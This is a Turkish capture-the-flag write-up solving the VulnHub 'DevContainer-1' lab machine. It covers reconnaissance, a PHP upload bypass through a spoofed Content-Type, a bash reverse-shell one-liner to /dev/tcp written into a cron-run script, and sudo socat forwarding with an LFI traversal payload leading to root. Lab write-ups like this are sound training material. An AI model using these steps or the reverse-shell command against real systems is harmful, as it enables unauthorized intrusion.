“Merhaba, Bu yazımda sizlere VULNHUB ‘da yer alan medium seviye DevContainer-1 adlı makinanın çözümünden bahsedeceğim. Keyifli okumalar…”

1. Keşif Aşaması

Makina kalıp dosyası siteden indirildikten sonra sanallaştırma yazılımları tarafından import edilir ve çalıştırılır. DHCP servisi tarafından atanan ip adresinin tespit edilmesi için netdiscover aracı ile ağda tarama yapılır.
netdiscover -i eth1
Hay aksi

Ip adresi tespit edildikten sonra nmap ile makinenin açık portları ve portlarda çalışan servisleri tespit edilir.

Hay aksi

Tarayıcı ile web servisine istek atılır. Açılan sayfa ve kaynak kodları incelendiğinde olağan dışı bir bilgiye görülmemektedir.

Hay aksi

Gobuster aracı ile Web dizin taraması gerçekleştirilir.

gobuster dir -u http://192.168.56.104/ -w /usr/share/wordlists/dirb/big.txt 
Hay aksi

Upload dizini dikkat çekmektedir. Tarayıcıdan istek atıldığında upload sayfası karşılamaktadır. İzin verilen dosya uzantıları ekranda yazılmaktadır.

Hay aksi

Burpsuite uygulaması açılır ve normal bir resim dosyası yüklendiğinde giden istek incelenir.

Hay aksi

Php uzantılı dosya yüklendiğinde giden isteğin Content-type değeri image/gif şeklinde değiştirilerek deneme yapılır. Yükleme işlemi başarılı bir şekilde gerçekleşmektedir.

Hay aksi

2. Erişim Sağlanması

İlgili port dinlenmeye alınarak upload ekranında yer alan index yazısına tıklanarak yüklenen dosya çağırılır ve reverse shell alınır.

Hay aksi

/etc/passwd dosyası görüntülenerek sistemdeki kullanılar tespit edilir. Login olabilecek kullanıcı gözükmemektedir. Bu durumda bir container içerisinde olduğumuz tespit edilir.

Hay aksi

Web uygulamasının çalıştığı /var/www/html dizine geçilir.

Hay aksi

Maintenance-Web-Docker dizini dikkat çekmektedir. Dizine girilerek içerisinde yer alan alan dosyalar incelenir.

Hay aksi
cat maintenance.sh

#!/bin/bash
#Version 1.0
#This script monitors the uploaded files. It is a reverse shell monitoring measure.
#path= /home/richard/web/webapp/upload/files/
/home/richard/web/Maintenance-Web-Docker/list.sh


cat list.sh

#!/bin/bash
date >> /home/richard/web/Maintenance-Web-Docker/out.txt
ls /home/richard/web/upload/files/ | wc -l >> /home/richard/web/Maintenance-Web-Docker/out.txt

Dockerda yer alan www dizini ile /home/richard/web/ dizini birbirine volume oluşturularak bağlanmıştır. List.sh dosyası shell alınacak şekilde düzenir ve çalıştırılır.

echo "bash -i &>/dev/tcp/192.168.56.105/7777 0>&1" > list.sh

7777 numaralı port dinlenir ve bağlantı sağlanır.

Hay aksi

User.txt dosyası okunarak ilk aşama tamamlanır.

Hay aksi

3. Yetki Yükseltme

Sudo -l komutu ile yetkiler kontrol edilir.

Hay aksi

Parola gerektirmeden root yetkisi ile socat uygulamasının çalıştırılabildiği görülmektedir. TCP-LISTEN 8080 ile 8080 portuna gelen bağlantılar dinlenir, fork ile gelen bağlantılar 90 portuna yönlendirilir.

sudo -u root /home/richard/HackTools/socat TCP-LISTEN\:8080\,fork TCP\:127.0.0.1\:90

Komut çalıştırıldığında 8080 portu gelen bağlantılar için dinlenmeye başlanır. Tarayıcıdan http://makianaipsi:8080 istek atıldığında web sayfası açılır.

Hay aksi

Sayfada yer alan linklere tıklandığında lfi açığı olabileceği tespit edilir.

Hay aksi

view=../../../../../../etc/passwd parametre girilerek lfi açığı varlığı tespit edilir. Görüldüğü gibi include işlemi başarılı gerçekleşmiş ve passwd dosyası okunmuştur.

Hay aksi

İlk etapta upload ettiğimiz shell dosyası ../upload/files klasörü altındadır. O dosya tekrar çağırılarak bağlantı alınır.

Hay aksi

/root dizinine geçilir ve dizin listenir ve çözüm tamamlanır.

Hay aksi